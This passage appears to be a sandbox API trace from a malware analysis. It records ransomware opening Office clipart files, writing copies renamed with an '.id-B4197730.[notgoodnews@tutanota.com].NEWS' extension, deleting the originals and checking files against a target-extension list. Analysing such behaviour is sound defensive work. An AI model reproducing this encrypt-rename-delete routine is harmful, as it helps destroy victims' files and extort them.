Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0184.837] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.837] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0184.838] GetLastError () returned 0x0 [0184.838] ReadFile (in: hFile=0x454, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0xe3c, lpOverlapped=0x0) returned 1 [0184.857] WriteFile (in: hFile=0x51c, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xe40, lpOverlapped=0x0) returned 1 [0184.858] ReadFile (in: hFile=0x454, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.858] WriteFile (in: hFile=0x51c, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.858] SetEndOfFile (hFile=0x51c) returned 1 [0184.858] CloseHandle (hObject=0x51c) returned 1 [0184.858] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.858] SetEndOfFile (hFile=0x454) returned 1 [0184.862] CloseHandle (hObject=0x454) returned 1 [0184.862] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0184.862] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf")) returned 1 [0184.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0184.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0184.864] lstrlenW (lpString=".doc") returned 4 [0184.864] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.864] lstrlenW (lpString=".docx") returned 5 [0184.864] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0184.864] lstrlenW (lpString=".pdf") returned 4 [0184.864] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.864] lstrlenW (lpString=".xls") returned 4 [0184.864] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.864] lstrlenW (lpString=".xlsx") returned 5 [0184.864] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0184.864] lstrlenW (lpString=".ppt") returned 4 [0184.864] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0184.864] lstrlenW (lpString=".zip") returned 4 [0184.864] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.864] lstrlenW (lpString=".rar") returned 4 [0184.864] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.864] lstrlenW (lpString=".bz2") returned 4 [0184.864] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.864] lstrlenW (lpString=".7z") returned 3 [0184.864] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0184.864] lstrlenW (lpString=".dbf") returned 4 [0184.865] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0184.865] lstrlenW (lpString=".1cd") returned 4 [0184.865] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0184.865] lstrlenW (lpString=".jpg") returned 4 [0184.865] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0184.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0184.865] lstrlenW (lpString=".doc") returned 4 [0184.865] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.865] lstrlenW (lpString=".docx") returned 5 [0184.865] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0184.865] lstrlenW (lpString=".pdf") returned 4 [0184.865] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.865] lstrlenW (lpString=".xls") returned 4 [0184.865] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.865] lstrlenW (lpString=".xlsx") returned 5 [0184.865] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0184.865] lstrlenW (lpString=".ppt") returned 4 [0184.865] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0184.865] lstrlenW (lpString=".zip") returned 4 [0184.865] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.865] lstrlenW (lpString=".rar") returned 4 [0184.865] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.865] lstrlenW (lpString=".bz2") returned 4 [0184.865] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.866] lstrlenW (lpString=".7z") returned 3 [0184.866] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0184.866] lstrlenW (lpString=".dbf") returned 4 [0184.866] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0184.866] lstrlenW (lpString=".1cd") returned 4 [0184.866] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0184.866] lstrlenW (lpString=".jpg") returned 4 [0184.866] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.866] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0184.866] lstrlenW (lpString="J0107746.WMF") returned 12 [0184.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0185.201] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=4788) returned 1 [0185.201] CloseHandle (hObject=0x544) returned 1 [0185.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf")) returned 0x220 [0185.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0185.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0185.202] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.202] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0185.204] GetLastError () returned 0x0 [0185.204] ReadFile (in: hFile=0x544, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x12b4, lpOverlapped=0x0) returned 1 [0185.206] WriteFile (in: hFile=0x3f4, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x12c0, lpOverlapped=0x0) returned 1 [0185.208] ReadFile (in: hFile=0x544, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.208] WriteFile (in: hFile=0x3f4, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0185.208] SetEndOfFile (hFile=0x3f4) returned 1 [0185.208] CloseHandle (hObject=0x3f4) returned 1 [0185.208] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.208] SetEndOfFile (hFile=0x544) returned 1 [0185.211] CloseHandle (hObject=0x544) returned 1 [0185.221] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0185.221] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf")) returned 1 [0185.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0185.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0185.223] lstrlenW (lpString=".doc") returned 4 [0185.223] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.223] lstrlenW (lpString=".docx") returned 5 [0185.223] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0185.223] lstrlenW (lpString=".pdf") returned 4 [0185.223] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.223] lstrlenW (lpString=".xls") returned 4 [0185.223] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.223] lstrlenW (lpString=".xlsx") returned 5 [0185.223] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0185.223] lstrlenW (lpString=".ppt") returned 4 [0185.223] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0185.223] lstrlenW (lpString=".zip") returned 4 [0185.223] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.223] lstrlenW (lpString=".rar") returned 4 [0185.223] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.224] lstrlenW (lpString=".bz2") returned 4 [0185.224] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.224] lstrlenW (lpString=".7z") returned 3 [0185.224] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0185.224] lstrlenW (lpString=".dbf") returned 4 [0185.224] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0185.224] lstrlenW (lpString=".1cd") returned 4 [0185.224] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0185.224] lstrlenW (lpString=".jpg") returned 4 [0185.224] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0185.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0185.224] lstrlenW (lpString=".doc") returned 4 [0185.224] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.224] lstrlenW (lpString=".docx") returned 5 [0185.224] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0185.224] lstrlenW (lpString=".pdf") returned 4 [0185.224] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.224] lstrlenW (lpString=".xls") returned 4 [0185.224] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.224] lstrlenW (lpString=".xlsx") returned 5 [0185.224] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0185.224] lstrlenW (lpString=".ppt") returned 4 [0185.224] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0185.225] lstrlenW (lpString=".zip") returned 4 [0185.225] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.225] lstrlenW (lpString=".rar") returned 4 [0185.225] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.225] lstrlenW (lpString=".bz2") returned 4 [0185.225] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.225] lstrlenW (lpString=".7z") returned 3 [0185.225] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0185.225] lstrlenW (lpString=".dbf") returned 4 [0185.225] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0185.225] lstrlenW (lpString=".1cd") returned 4 [0185.225] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0185.225] lstrlenW (lpString=".jpg") returned 4 [0185.225] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.225] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0185.225] lstrlenW (lpString="J0136865.WMF") returned 12 [0185.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0185.227] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=16710) returned 1 [0185.227] CloseHandle (hObject=0x544) returned 1 [0185.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf")) returned 0x220 [0185.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0185.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0185.228] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.228] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0185.231] GetLastError () returned 0x0 [0185.231] ReadFile (in: hFile=0x544, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x4146, lpOverlapped=0x0) returned 1 [0185.237] WriteFile (in: hFile=0x3f4, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x4150, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x4150, lpOverlapped=0x0) returned 1 [0185.619] ReadFile (in: hFile=0x544, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.619] WriteFile (in: hFile=0x3f4, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0185.619] SetEndOfFile (hFile=0x3f4) returned 1 [0185.619] CloseHandle (hObject=0x3f4) returned 1 [0185.619] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.619] SetEndOfFile (hFile=0x544) returned 1 [0185.627] CloseHandle (hObject=0x544) returned 1 [0185.627] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0185.628] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf")) returned 1 [0185.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0185.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0185.630] lstrlenW (lpString=".doc") returned 4 [0185.630] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.630] lstrlenW (lpString=".docx") returned 5 [0185.630] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0185.630] lstrlenW (lpString=".pdf") returned 4 [0185.630] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.630] lstrlenW (lpString=".xls") returned 4 [0185.630] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.630] lstrlenW (lpString=".xlsx") returned 5 [0185.630] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0185.630] lstrlenW (lpString=".ppt") returned 4 [0185.630] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0185.630] lstrlenW (lpString=".zip") returned 4 [0185.630] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.630] lstrlenW (lpString=".rar") returned 4 [0185.630] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.630] lstrlenW (lpString=".bz2") returned 4 [0185.630] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.630] lstrlenW (lpString=".7z") returned 3 [0185.630] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0185.630] lstrlenW (lpString=".dbf") returned 4 [0185.630] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0185.630] lstrlenW (lpString=".1cd") returned 4 [0185.630] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0185.631] lstrlenW (lpString=".jpg") returned 4 [0185.631] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0185.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0185.631] lstrlenW (lpString=".doc") returned 4 [0185.631] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.631] lstrlenW (lpString=".docx") returned 5 [0185.631] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0185.631] lstrlenW (lpString=".pdf") returned 4 [0185.631] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.631] lstrlenW (lpString=".xls") returned 4 [0185.631] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.631] lstrlenW (lpString=".xlsx") returned 5 [0185.631] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0185.631] lstrlenW (lpString=".ppt") returned 4 [0185.631] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0185.631] lstrlenW (lpString=".zip") returned 4 [0185.631] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.631] lstrlenW (lpString=".rar") returned 4 [0185.631] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.631] lstrlenW (lpString=".bz2") returned 4 [0185.631] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.631] lstrlenW (lpString=".7z") returned 3 [0185.631] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0185.632] lstrlenW (lpString=".dbf") returned 4 [0185.632] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0185.632] lstrlenW (lpString=".1cd") returned 4 [0185.632] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0185.632] lstrlenW (lpString=".jpg") returned 4 [0185.632] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.632] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0185.632] lstrlenW (lpString="J0145669.JPG") returned 12 [0185.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0185.633] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=31850) returned 1 [0185.633] CloseHandle (hObject=0x544) returned 1 [0185.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg")) returned 0x220 [0185.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0185.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0185.634] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, 